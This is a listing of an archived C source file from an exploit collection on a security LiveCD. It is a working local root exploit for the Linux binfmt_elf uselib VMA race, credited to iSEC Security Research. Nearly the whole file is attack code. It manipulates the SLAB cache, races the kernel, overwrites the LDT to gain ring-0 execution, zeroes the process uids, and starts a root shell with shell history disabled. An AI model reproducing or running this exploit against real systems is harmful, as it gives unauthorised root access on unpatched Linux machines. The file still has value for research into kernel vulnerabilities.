home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / linux / local / elflbl.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  18KB  |  907 lines

  1. /*
  2.  *    binfmt_elf uselib VMA insert race vulnerability
  3.  *    v1.08
  4.  *
  5.  *    gcc -O2 -fomit-frame-pointer elflbl.c -o elflbl
  6.  *
  7.  *    Copyright (c) 2004  iSEC Security Research. All Rights Reserved.
  8.  *
  9.  *    THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
  10.  *    AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
  11.  *    WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
  12.  *             
  13.  *    http://www.isec.pl/vulnerabilities/isec-0021-uselib.txt
  14.  */
  15.  
  16.  
  17. #define _GNU_SOURCE
  18.  
  19. #include <stdio.h>
  20. #include <stdlib.h>
  21. #include <string.h>
  22. #include <fcntl.h>
  23. #include <unistd.h>
  24. #include <errno.h>
  25. #include <sched.h>
  26. #include <syscall.h>
  27. #include <limits.h>
  28.  
  29. #include <sys/types.h>
  30. #include <sys/wait.h>
  31. #include <sys/time.h>
  32. #include <sys/mman.h>
  33. #include <sys/sysinfo.h>
  34.  
  35. #include <linux/elf.h>
  36. #include <linux/linkage.h>
  37.  
  38. #include <asm/page.h>
  39. #include <asm/ldt.h>
  40. #include <asm/segment.h>
  41.  
  42. #define str(s) #s
  43. #define xstr(s) str(s)
  44.  
  45. #define MREMAP_MAYMOVE  1
  46.  
  47.  
  48. //    temp lib location
  49. #define LIBNAME     "/dev/shm/_elf_lib"
  50.  
  51. //    shell name
  52. #define    SHELL        "/bin/bash"
  53.  
  54. //    time delta to detect race
  55. #define RACEDELTA    5000
  56.  
  57. //    if you have more deadbabes in memory, change this
  58. #define MAGIC        0xdeadbabe
  59.  
  60.  
  61. //    do not touch
  62. #define    SLAB_THRSH    128
  63. #define    SLAB_PER_CHLD    (INT_MAX - 1)
  64. #define LIB_SIZE    ( PAGE_SIZE * 4 )
  65. #define STACK_SIZE    ( PAGE_SIZE * 4 )
  66.  
  67. #define LDT_PAGES    ( (LDT_ENTRIES*LDT_ENTRY_SIZE+PAGE_SIZE-1)/PAGE_SIZE )
  68.  
  69. #define ENTRY_GATE    ( LDT_ENTRIES-1 )
  70. #define SEL_GATE    ( (ENTRY_GATE<<3)|0x07 )
  71.  
  72. #define ENTRY_LCS    ( ENTRY_GATE-2 )
  73. #define SEL_LCS        ( (ENTRY_LCS<<3)|0x04 )
  74.  
  75. #define ENTRY_LDS    ( ENTRY_GATE-1 )
  76. #define SEL_LDS        ( (ENTRY_LDS<<3)|0x04 )
  77.  
  78. #define kB        * 1024
  79. #define MB        * 1024 kB
  80. #define GB        * 1024 MB
  81.  
  82. #define TMPLEN        256
  83. #define PGD_SIZE    ( PAGE_SIZE*1024 )
  84.  
  85.  
  86. extern char **environ;
  87.  
  88. static char cstack[STACK_SIZE];
  89. static char name[TMPLEN];
  90. static char line[TMPLEN];
  91.  
  92.  
  93. static volatile int
  94.     val = 0,
  95.     go = 0,
  96.     finish = 0,
  97.     scnt = 0,
  98.     ccnt=0,
  99.     delta = 0,
  100.     delta_max = RACEDELTA,
  101.     map_flags = PROT_WRITE|PROT_READ;
  102.  
  103.  
  104. static int
  105.     fstop=0,
  106.     silent=0,
  107.     pidx,
  108.     pnum=0,
  109.     smp_max=0,
  110.     smp,
  111.     wtime=2,
  112.     cpid,
  113.     uid,
  114.     task_size,
  115.     old_esp,
  116.     lib_addr,
  117.     map_count=0,
  118.     map_base=0,
  119.     map_addr,
  120.     addr_min,
  121.     addr_max,
  122.     vma_start,
  123.     vma_end,
  124.     max_page;
  125.  
  126.  
  127. static struct timeval tm1, tm2;
  128.  
  129. static char *myenv[] = {"TERM=vt100",
  130.             "HISTFILE=/dev/null",
  131.             NULL};
  132.  
  133. static char hellc0de[] = "\x49\x6e\x74\x65\x6c\x65\x63\x74\x75\x61\x6c\x20\x70\x72\x6f\x70"
  134.                          "\x65\x72\x74\x79\x20\x6f\x66\x20\x49\x68\x61\x51\x75\x65\x52\x00";
  135.  
  136.  
  137. static char *pagemap, *libname=LIBNAME, *shellname=SHELL;
  138.  
  139.  
  140.  
  141. #define __NR_sys_gettimeofday    __NR_gettimeofday
  142. #define __NR_sys_sched_yield    __NR_sched_yield
  143. #define __NR_sys_madvise    __NR_madvise
  144. #define __NR_sys_uselib        __NR_uselib
  145. #define __NR_sys_mmap2        __NR_mmap2
  146. #define __NR_sys_munmap        __NR_munmap
  147. #define __NR_sys_mprotect    __NR_mprotect
  148. #define __NR_sys_mremap        __NR_mremap
  149.  
  150. inline _syscall6(int, sys_mmap2, int, a, int, b, int, c, int, d, int, e, int, f);
  151.  
  152. inline _syscall5(int, sys_mremap, int, a, int, b, int, c, int, d, int, e);
  153.  
  154. inline _syscall3(int, sys_madvise, void*, a, int, b, int, c);
  155. inline _syscall3(int, sys_mprotect, int, a, int, b, int, c);
  156. inline _syscall3( int, modify_ldt, int, func, void *, ptr, int, bytecount );
  157.  
  158. inline _syscall2(int, sys_gettimeofday, void*, a, void*, b);
  159. inline _syscall2(int, sys_munmap, int, a, int, b);
  160.  
  161. inline _syscall1(int, sys_uselib, char*, l);
  162.  
  163. inline _syscall0(void, sys_sched_yield);
  164.  
  165.  
  166.  
  167. inline int tmdiff(struct timeval *t1, struct timeval *t2)
  168. {
  169. int r;
  170.  
  171.     r=t2->tv_sec - t1->tv_sec;
  172.     r*=1000000;
  173.     r+=t2->tv_usec - t1->tv_usec;
  174. return r;
  175. }
  176.  
  177.  
  178. void fatal(const char *message, int critical)
  179. {
  180. int sig = critical? SIGSTOP : (fstop? SIGSTOP : SIGKILL);
  181.  
  182.     if(!errno) {
  183.         fprintf(stdout, "\n[-] FAILED: %s ", message);
  184.     } else {
  185.         fprintf(stdout, "\n[-] FAILED: %s (%s) ", message,
  186.             (char*) (strerror(errno)) );
  187.     }
  188.     if(critical)
  189.         printf("\nCRITICAL, entering endless loop");
  190.     printf("\n");
  191.     fflush(stdout);
  192.  
  193.     unlink(libname);
  194.     kill(cpid, SIGKILL);
  195.     for(;;) kill(0, sig);
  196. }
  197.  
  198.  
  199. //    try to race do_brk sleeping on kmalloc, may need modification for SMP
  200. int raceme(void* v)
  201. {
  202.     finish=1;
  203.  
  204.     for(;;) {
  205.         errno = 0;
  206.  
  207. //    check if raced:
  208. recheck:
  209.         if(!go) sys_sched_yield();
  210.         sys_gettimeofday(&tm2, NULL);
  211.         delta = tmdiff(&tm1, &tm2);
  212.         if(!smp_max && delta < (unsigned)delta_max) goto recheck;
  213.         smp = smp_max;
  214.  
  215. //    check if lib VMAs exist as expected under race condition
  216. recheck2:
  217.         val = sys_madvise((void*) lib_addr, PAGE_SIZE, MADV_NORMAL);
  218.         if(val) continue;
  219.         errno = 0;
  220.         val = sys_madvise((void*) (lib_addr+PAGE_SIZE),
  221.                 LIB_SIZE-PAGE_SIZE, MADV_NORMAL);
  222.         if( !val || (val<0 && errno!=ENOMEM) ) continue;
  223.  
  224. //    SMP?
  225.         smp--;
  226.         if(smp>=0) goto recheck2;
  227.  
  228. //    recheck race
  229.         if(!go) continue;
  230.         finish++;
  231.  
  232. //    we need to free one vm_area_struct for mmap to work
  233.         val = sys_mprotect(map_addr, PAGE_SIZE, map_flags);
  234.         if(val) fatal("mprotect", 0);
  235.         val = sys_mmap2(lib_addr + PAGE_SIZE, PAGE_SIZE*3, PROT_NONE,
  236.                   MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
  237.         if(-1==val) fatal("mmap2 race", 0);
  238.         printf("\n[+] race won maps=%d", map_count); fflush(stdout);
  239.         _exit(0);
  240.     }
  241.  
  242. return 0;
  243. }
  244.  
  245.  
  246. int callme_1()
  247. {
  248.     return val++;
  249. }
  250.  
  251.  
  252. inline int valid_ptr(unsigned ptr)
  253. {
  254.     return ptr>=task_size && ptr<addr_min-16;
  255. }
  256.  
  257.  
  258. inline int validate_vma(unsigned *p, unsigned s, unsigned e)
  259. {
  260. unsigned *t;
  261.  
  262.     if(valid_ptr(p[0]) && valid_ptr(p[3]) && p[1]==s && p[2]==e) {
  263.         t=(unsigned*)p[3];
  264.         if( t[0]==p[0] && t[1]<=task_size && t[2]<=task_size )
  265.             return 1;
  266.     }
  267.     return 0;
  268. }
  269.  
  270.  
  271. asmlinkage void kernel_code(unsigned *task)
  272. {
  273. unsigned *addr = task;
  274.  
  275. //    find & reset uids
  276.     while(addr[0] != uid || addr[1] != uid ||
  277.           addr[2] != uid || addr[3] != uid)
  278.         addr++;
  279.  
  280.     addr[0] = addr[0] = addr[2] = addr[3] = 0;
  281.     addr[4] = addr[5] = addr[6] = addr[7] = 0;
  282.  
  283. //    find & correct VMA
  284.     for(addr=(unsigned *)task_size; (unsigned)addr<addr_min-16; addr++) {
  285.         if( validate_vma(addr, vma_start, vma_end) ) {
  286.             addr[1] = task_size - PAGE_SIZE;
  287.             addr[2] = task_size;
  288.             break;
  289.         }
  290.     }
  291. }
  292.  
  293.  
  294. void kcode(void);
  295.  
  296.  
  297. void __kcode(void)
  298. {
  299. asm(
  300.     "kcode:                        \n"
  301.     "    pusha                    \n"
  302.     "    pushl    %es                \n"
  303.     "    pushl    %ds                \n"
  304.     "    movl    $(" xstr(SEL_LDS) ") ,%edx    \n"
  305.     "    movl    %edx,%es            \n"
  306.     "    movl    %edx,%ds            \n"
  307.     "    movl    $0xffffe000,%eax        \n"
  308.     "    andl    %esp,%eax            \n"
  309.     "    pushl    %eax                \n"
  310.     "    call    kernel_code            \n"
  311.     "    addl    $4, %esp            \n"
  312.     "    popl    %ds                \n"
  313.     "    popl    %es                \n"
  314.     "    popa                    \n"
  315.     "    lret                    \n"
  316.     );
  317. }
  318.  
  319.  
  320. int callme_2()
  321. {
  322.     return val + task_size + addr_min;
  323. }
  324.  
  325.  
  326. void sigfailed(int v)
  327. {
  328.     ccnt++;
  329.     fatal("lcall", 1);
  330. }
  331.  
  332.  
  333. //    modify LDT & exec
  334. void try_to_exploit(unsigned addr)
  335. {
  336. volatile int r, *v;
  337.  
  338.     printf("\n[!] try to exploit 0x%.8x", addr); fflush(stdout);
  339.     unlink(libname);
  340.  
  341.     r = sys_mprotect(addr, PAGE_SIZE, PROT_READ|PROT_WRITE|map_flags);
  342.     if(r) fatal("mprotect 1", 1);
  343.  
  344. //    check if really LDT
  345.     v = (void*) (addr + (ENTRY_GATE*LDT_ENTRY_SIZE % PAGE_SIZE) );
  346.     signal(SIGSEGV, sigfailed);
  347.     r = *v;
  348.     if(r != MAGIC) {
  349.         printf("\n[-] FAILED val = 0x%.8x", r); fflush(stdout);
  350.         fatal("find LDT", 1);
  351.     }
  352.  
  353. //    yeah, setup CPL0 gate
  354.     v[0] = ((unsigned)(SEL_LCS)<<16) | ((unsigned)kcode & 0xffffU);
  355.     v[1] = ((unsigned)kcode & ~0xffffU) | 0xec00U;
  356.     printf("\n[+] gate modified ( 0x%.8x 0x%.8x )", v[0], v[1]); fflush(stdout);
  357.  
  358. //    setup CPL0 segment descriptors (we need the 'accessed' versions ;-)
  359.     v = (void*) (addr + (ENTRY_LCS*LDT_ENTRY_SIZE % PAGE_SIZE) );
  360.     v[0] = 0x0000ffff; /* kernel 4GB code at 0x00000000 */
  361.     v[1] = 0x00cf9b00;
  362.  
  363.     v = (void*) (addr + (ENTRY_LDS*LDT_ENTRY_SIZE % PAGE_SIZE) );
  364.     v[0] = 0x0000ffff; /* kernel 4GB data at 0x00000000 */
  365.     v[1] = 0x00cf9300;
  366.  
  367. //    reprotect to get only one big VMA
  368.     r = sys_mprotect(addr, PAGE_SIZE, PROT_READ|map_flags);
  369.     if(r) fatal("mprotect 2", 1);
  370.  
  371. //    CPL0 transition
  372.     sys_sched_yield();
  373.     val = callme_1() + callme_2();
  374.     asm("lcall $" xstr(SEL_GATE) ",$0x0");
  375.     if( getuid()==0 || (val==31337 && strlen(hellc0de)==16) ) {
  376.         printf("\n[+] exploited, uid=0\n\n" ); fflush(stdout);
  377.     } else {
  378.         printf("\n[-] uid change failed" ); fflush(stdout);
  379.         sigfailed(0);
  380.     }
  381.     signal(SIGTERM, SIG_IGN);
  382.     kill(0, SIGTERM);
  383.     execl(shellname, "sh", NULL);
  384.     fatal("execl", 0);
  385. }
  386.  
  387.  
  388. void scan_mm_finish();
  389. void scan_mm_start();
  390.  
  391.  
  392. //    kernel page table scan code
  393. void scan_mm()
  394. {
  395.     map_addr -= PAGE_SIZE;
  396.     if(map_addr <= (unsigned)addr_min)
  397.         scan_mm_start();
  398.  
  399.     scnt=0;
  400.     val = *(int*)map_addr;
  401.     scan_mm_finish();
  402. }
  403.  
  404.  
  405. void scan_mm_finish()
  406. {
  407. retry:
  408.     __asm__("movl    %0, %%esp" : :"m"(old_esp) );
  409.  
  410.     if(scnt) {
  411.         pagemap[pidx] ^= 1;
  412.     }
  413.     else {
  414.         sys_madvise((void*)map_addr, PAGE_SIZE, MADV_DONTNEED);
  415.     }
  416.     pidx--;
  417.     scan_mm();
  418.     goto retry;
  419. }
  420.  
  421.  
  422. //    make kernel page maps before and after allocating LDT
  423. void scan_mm_start()
  424. {
  425. static int npg=0;
  426. static struct modify_ldt_ldt_s l;
  427.  
  428.     pnum++;
  429.     if(pnum==1) {
  430.         pidx = max_page-1;
  431.     }
  432.     else if(pnum==2) {
  433.         memset(&l, 0, sizeof(l));
  434.         l.entry_number = LDT_ENTRIES-1;
  435.         l.seg_32bit = 1;
  436.         l.base_addr = MAGIC >> 16;
  437.         l.limit = MAGIC & 0xffff;
  438.         l.limit_in_pages = 1;
  439.         if( modify_ldt(1, &l, sizeof(l)) != 0 )
  440.             fatal("modify_ldt", 1);
  441.         pidx = max_page-1;
  442.     }
  443.     else if(pnum==3) {
  444.         npg=0;
  445.         for(pidx=0; pidx<=max_page-1; pidx++) {
  446.             if(pagemap[pidx]) {
  447.                 npg++;
  448.                 fflush(stdout);
  449.             }
  450.             else if(npg == LDT_PAGES) {
  451.                 npg=0;
  452.                 try_to_exploit(addr_min+(pidx-1)*PAGE_SIZE);
  453.             } else {
  454.                 npg=0;
  455.             }
  456.         }
  457.         fatal("find LDT", 1);
  458.     }
  459.  
  460. //    save context & scan page table
  461.     __asm__("movl    %%esp, %0" : :"m"(old_esp) );
  462.     map_addr = addr_max;
  463.     scan_mm();
  464. }
  465.  
  466.  
  467. //    return number of available SLAB objects in cache
  468. int get_slab_objs(const char *sn)
  469. {
  470. static int c, d, u = 0, a = 0;
  471. FILE *fp=NULL;
  472.  
  473.     fp = fopen("/proc/slabinfo", "r");
  474.     if(!fp)
  475.         fatal("get_slab_objs: fopen", 0);
  476.     fgets(name, sizeof(name) - 1, fp);
  477.     do {
  478.         c = u = a = -1;
  479.         if (!fgets(line, sizeof(line) - 1, fp))
  480.             break;
  481.         c = sscanf(line, "%s %u %u %u %u %u %u", name, &u, &a,
  482.                &d, &d, &d, &d);
  483.     } while (strcmp(name, sn));
  484.     close(fileno(fp));
  485.     fclose(fp);
  486.     return c == 7 ? a - u : -1;
  487. }
  488.  
  489.  
  490. //    leave one object in the SLAB
  491. inline void prepare_slab()
  492. {
  493. int *r;
  494.  
  495.     map_addr -= PAGE_SIZE;
  496.     map_count++;
  497.     map_flags ^= PROT_READ;
  498.  
  499.     r = (void*)sys_mmap2((unsigned)map_addr, PAGE_SIZE, map_flags,
  500.                  MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
  501.     if(MAP_FAILED == r) {
  502.         fatal("try again", 0);
  503.     }
  504.     *r = map_addr;
  505. }
  506.  
  507.  
  508. //    sig handlers
  509. void segvcnt(int v)
  510. {
  511.     scnt++;
  512.     scan_mm_finish();
  513. }
  514.  
  515.  
  516. //    child reap
  517. void reaper(int v)
  518. {
  519.     ccnt++;
  520.     waitpid(0, &v, WNOHANG|WUNTRACED);
  521. }
  522.  
  523.  
  524. //    sometimes I get the VMAs in reversed order...
  525. //    so just use anyone of the two but take care about the flags
  526. void check_vma_flags();
  527.  
  528. void vreversed(int v)
  529. {
  530.     map_flags = 0;
  531.     check_vma_flags();
  532. }
  533.  
  534.  
  535. void check_vma_flags()
  536. {
  537.     if(map_flags) {
  538.         __asm__("movl    %%esp, %0" : :"m"(old_esp) );
  539.     } else {
  540.         __asm__("movl    %0, %%esp" : :"m"(old_esp) );
  541.         goto out;
  542.     }
  543.     signal(SIGSEGV, vreversed);
  544.     val = * (unsigned*)(lib_addr + PAGE_SIZE);
  545. out:
  546. }
  547.  
  548.  
  549. //    use elf library and try to sleep on kmalloc
  550. void exploitme()
  551. {
  552. int r, sz, pcnt=0;
  553. static char smiley[]="-\\|/-\\|/";
  554.  
  555. //    printf("\n    cat /proc/%d/maps", getpid() ); fflush(stdout);
  556.  
  557. //    helper clone
  558.     finish=0; ccnt=0;
  559.     sz = sizeof(cstack) / sizeof(cstack[0]);
  560.     cpid = clone(&raceme, (void*) &cstack[sz-16],
  561.             CLONE_VM|CLONE_SIGHAND|CLONE_FS|SIGCHLD, NULL );
  562.     if(-1==cpid) fatal("clone", 0);
  563.  
  564. //    synchronize threads
  565.     while(!finish) sys_sched_yield();
  566.     finish=0;
  567.     if(!silent) {
  568.         printf("\n"); fflush(stdout);
  569.     }
  570.  
  571. //    try to hit the kmalloc race
  572.     for(;;) {
  573.  
  574.         r = get_slab_objs("vm_area_struct");
  575.         while(r != 1) {
  576.             prepare_slab();
  577.             r--;
  578.         }
  579.  
  580.         sys_gettimeofday(&tm1, NULL);
  581.         go = 1;
  582.         r=sys_uselib(libname);
  583.         go = 0;
  584.         if(r) fatal("uselib", 0);
  585.         if(finish) break;
  586.  
  587. //    wipe lib VMAs and try again
  588.         r = sys_munmap(lib_addr, LIB_SIZE);
  589.         if(r) fatal("munmap lib", 0);
  590.         if(ccnt) goto failed;
  591.  
  592.         if( !silent && !(pcnt%64) ) {
  593.             printf("\r    Wait... %c", smiley[ (pcnt/64)%8 ]);
  594.             fflush(stdout);
  595.         }
  596.         pcnt++;
  597.     }
  598.  
  599. //    seems we raced, free mem
  600.     r = sys_munmap(map_addr, map_base-map_addr + PAGE_SIZE);
  601.     if(r) fatal("munmap 1", 0);
  602.     r = sys_munmap(lib_addr, PAGE_SIZE);
  603.     if(r) fatal("munmap 2", 0);
  604.     
  605. //    relax kswapd
  606.     sys_gettimeofday(&tm1, NULL);
  607.     for(;;) {
  608.         sys_sched_yield();
  609.         sys_gettimeofday(&tm2, NULL);
  610.         delta = tmdiff(&tm1, &tm2);
  611.         if( wtime*1000000U <= (unsigned)delta ) break;
  612.     }
  613.  
  614. //    we need to check the PROT_EXEC flag
  615.     map_flags = PROT_EXEC;
  616.     check_vma_flags();
  617.     if(!map_flags) {
  618.         printf("\n    VMAs reversed"); fflush(stdout);
  619.     }
  620.  
  621. //    write protect brk's VMA to fool vm_enough_memory()
  622.     r = sys_mprotect((lib_addr + PAGE_SIZE), LIB_SIZE-PAGE_SIZE,
  623.              PROT_READ|map_flags);
  624.     if(-1==r) { fatal("mprotect brk", 0); }
  625.  
  626. //    this will finally make the big VMA...
  627.     sz = (0-lib_addr) - LIB_SIZE - PAGE_SIZE;
  628. expand:
  629.     r = sys_madvise((void*)(lib_addr + PAGE_SIZE),
  630.             LIB_SIZE-PAGE_SIZE, MADV_NORMAL);
  631.     if(r) fatal("madvise", 0);
  632.     r = sys_mremap(lib_addr + LIB_SIZE-PAGE_SIZE,
  633.             PAGE_SIZE, sz, MREMAP_MAYMOVE, 0);
  634.     if(-1==r) {
  635.         if(0==sz) {
  636.             fatal("mremap: expand VMA", 0);
  637.         } else {
  638.             sz -= PAGE_SIZE;
  639.             goto expand;
  640.         }
  641.     }
  642.     vma_start = lib_addr + PAGE_SIZE;
  643.     vma_end = vma_start + sz + 2*PAGE_SIZE;
  644.     printf("\n    expanded VMA (0x%.8x-0x%.8x)", vma_start, vma_end);
  645.     fflush(stdout);
  646.  
  647. //    try to figure kernel layout
  648.     signal(SIGCHLD, reaper);
  649.     signal(SIGSEGV, segvcnt);
  650.     signal(SIGBUS, segvcnt);
  651.     scan_mm_start();
  652.  
  653. failed:
  654.     fatal("try again", 0);
  655.  
  656. }
  657.  
  658.  
  659. //    make fake ELF library
  660. void make_lib()
  661. {
  662. struct elfhdr eh;
  663. struct elf_phdr eph;
  664. static char tmpbuf[PAGE_SIZE];
  665. int fd;
  666.  
  667. //    make our elf library
  668.     umask(022);
  669.     unlink(libname);
  670.     fd=open(libname, O_RDWR|O_CREAT|O_TRUNC, 0755);
  671.     if(fd<0) fatal("open lib ("LIBNAME" not writable?)", 0);
  672.     memset(&eh, 0, sizeof(eh) );
  673.  
  674. //    elf exec header
  675.     memcpy(eh.e_ident, ELFMAG, SELFMAG);
  676.     eh.e_type = ET_EXEC;
  677.     eh.e_machine = EM_386;
  678.     eh.e_phentsize = sizeof(struct elf_phdr);
  679.     eh.e_phnum = 1;
  680.     eh.e_phoff = sizeof(eh);
  681.     write(fd, &eh, sizeof(eh) );
  682.  
  683. //    section header:
  684.     memset(&eph, 0, sizeof(eph) );
  685.     eph.p_type = PT_LOAD;
  686.     eph.p_offset = 4096;
  687.     eph.p_filesz = 4096;
  688.     eph.p_vaddr = lib_addr;
  689.     eph.p_memsz = LIB_SIZE;
  690.     eph.p_flags = PF_W|PF_R|PF_X;
  691.     write(fd, &eph, sizeof(eph) );
  692.  
  693. //    execable code
  694.     lseek(fd, 4096, SEEK_SET);
  695.     memset(tmpbuf, 0x90, sizeof(tmpbuf) );
  696.     write(fd, &tmpbuf, sizeof(tmpbuf) );
  697.     close(fd);
  698. }
  699.  
  700.  
  701. //    move stack down #2
  702. void prepare_finish()
  703. {
  704. int r;
  705. static struct sysinfo si;
  706.  
  707.     old_esp &= ~(PAGE_SIZE-1);
  708.     old_esp -= PAGE_SIZE;
  709.     task_size = ((unsigned)old_esp + 1 GB ) / (1 GB) * 1 GB;
  710.     r = sys_munmap(old_esp, task_size-old_esp);
  711.     if(r) fatal("unmap stack", 0);
  712.  
  713. //    setup rt env
  714.     uid = getuid();
  715.     lib_addr = task_size - LIB_SIZE - PAGE_SIZE;
  716.     if(map_base)
  717.         map_addr = map_base;
  718.     else
  719.         map_base = map_addr = (lib_addr - PGD_SIZE) & ~(PGD_SIZE-1);
  720.     printf("\n[+] moved stack %x, task_size=0x%.8x, map_base=0x%.8x",
  721.         old_esp, task_size, map_base); fflush(stdout);
  722.  
  723. //    check physical mem & prepare
  724.     sysinfo(&si);
  725.     addr_min = task_size + si.totalram;
  726.     addr_min = (addr_min + PGD_SIZE - 1) & ~(PGD_SIZE-1);
  727.     addr_max = addr_min + si.totalram;
  728.     if((unsigned)addr_max >= 0xffffe000 || (unsigned)addr_max < (unsigned)addr_min)
  729.         addr_max = 0xffffd000;
  730.  
  731.     printf("\n[+] vmalloc area 0x%.8x - 0x%.8x", addr_min, addr_max);
  732.     max_page = (addr_max - addr_min) / PAGE_SIZE;
  733.     pagemap = malloc( max_page + 32 );
  734.     if(!pagemap) fatal("malloc pagemap", 1);
  735.     memset(pagemap, 0, max_page + 32);
  736.  
  737. //    go go
  738.     make_lib();
  739.     exploitme();
  740. }
  741.  
  742.  
  743. //    move stack down #1
  744. void prepare()
  745. {
  746. unsigned p=0;
  747.  
  748.     environ = myenv;
  749.  
  750.     p = sys_mmap2( 0, STACK_SIZE, PROT_READ|PROT_WRITE,
  751.                MAP_PRIVATE|MAP_ANONYMOUS, 0, 0    );
  752.     if(-1==p) fatal("mmap2 stack", 0);
  753.     p += STACK_SIZE - 64;
  754.  
  755.     __asm__("movl    %%esp, %0    \n"
  756.         "movl     %1, %%esp    \n"
  757.         : : "m"(old_esp), "m"(p)
  758.     );
  759.  
  760.     prepare_finish();
  761. }
  762.  
  763.  
  764. void chldcnt(int v)
  765. {
  766.     ccnt++;
  767. }
  768.  
  769.  
  770. //    alloc slab objects...
  771. inline void do_wipe()
  772. {
  773. int *r, c=0, left=0;
  774.  
  775.     __asm__("movl    %%esp, %0" : : "m"(old_esp) );
  776.  
  777.     old_esp = (old_esp - PGD_SIZE+1) & ~(PGD_SIZE-1);
  778.     old_esp = map_base? map_base : old_esp;
  779.  
  780.     for(;;) {
  781.         if(left<=0)
  782.             left = get_slab_objs("vm_area_struct");
  783.         if(left <= SLAB_THRSH)
  784.             break;
  785.         left--;
  786.  
  787.         map_flags ^= PROT_READ;
  788.         old_esp -= PAGE_SIZE;
  789.         r = (void*)sys_mmap2(old_esp, PAGE_SIZE, map_flags,
  790.             MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0 );
  791.         if(MAP_FAILED == r)
  792.             break;
  793.  
  794.         if(c>SLAB_PER_CHLD)
  795.             break;
  796.         if( (c%1024)==0 ) {
  797.             if(!c) printf("\n");
  798.             printf("\r    child %d VMAs %d", val, c);
  799.             fflush(stdout);
  800.         }
  801.         c++;
  802.     }
  803.     printf("\r    child %d VMAs %d", val, c);
  804.     fflush(stdout);
  805.     kill(getppid(), SIGUSR1);
  806.     for(;;) pause();
  807. }
  808.  
  809.  
  810. //    empty SLAB caches
  811. void wipe_slab()
  812. {
  813.     signal(SIGUSR1, chldcnt);
  814.     printf("\n[+] SLAB cleanup"); fflush(stdout);
  815.     for(;;) {
  816.         ccnt=0;
  817.         val++;
  818.         cpid = fork();
  819.         if(!cpid)
  820.             do_wipe();
  821.  
  822.         while(!ccnt) sys_sched_yield();
  823.         if( get_slab_objs("vm_area_struct") <= SLAB_THRSH )
  824.             break;
  825.     }
  826.     signal(SIGUSR1, SIG_DFL);
  827. }
  828.  
  829.  
  830. void usage(char *n)
  831. {
  832.     printf("\nUsage: %s\t-f forced stop\n", n);
  833.     printf("\t\t-s silent mode\n");
  834.     printf("\t\t-c command to run\n");
  835.     printf("\t\t-n SMP iterations\n");
  836.     printf("\t\t-d race delta us\n");
  837.     printf("\t\t-w wait time seconds\n");
  838.     printf("\t\t-l alternate lib name\n");
  839.     printf("\t\t-a alternate addr hex\n");
  840.     printf("\n");
  841.     _exit(1);
  842. }
  843.  
  844.  
  845. //    give -s for forced stop, -b to clean SLAB
  846. int main(int ac, char **av)
  847. {
  848. int r;
  849.  
  850.     while(ac) {
  851.         r = getopt(ac, av, "n:l:a:w:c:d:fsh");
  852.         if(r<0) break;
  853.  
  854.         switch(r) {
  855.  
  856.         case 'f' :
  857.             fstop = 1;
  858.             break;
  859.  
  860.         case 's' :
  861.             silent = 1;
  862.             break;
  863.  
  864.         case 'n' :
  865.             smp_max = atoi(optarg);
  866.             break;
  867.  
  868.         case 'd':
  869.             if(1!=sscanf(optarg, "%u", &delta_max) || delta_max > 100000u )
  870.                 fatal("bad delta value", 0);
  871.             break;
  872.  
  873.         case 'w' :
  874.             wtime = atoi(optarg);
  875.             if(wtime<0) fatal("bad wait value", 0);
  876.             break;
  877.  
  878.         case 'l' :
  879.             libname = strdup(optarg);
  880.             break;
  881.  
  882.         case 'c' :
  883.             shellname = strdup(optarg);
  884.             break;
  885.  
  886.         case 'a' :
  887.             if(1!=sscanf(optarg, "%x", &map_base))
  888.                 fatal("bad addr value", 0);
  889.             map_base &= ~(PGD_SIZE-1);
  890.             break;
  891.  
  892.         case 'h' :
  893.         default:
  894.             usage(av[0]);
  895.             break;
  896.         }
  897.     }
  898.  
  899. //    basic setup
  900.     uid = getuid();
  901.     setpgrp();
  902.     wipe_slab();
  903.     prepare();
  904.  
  905. return 0;
  906. }
  907.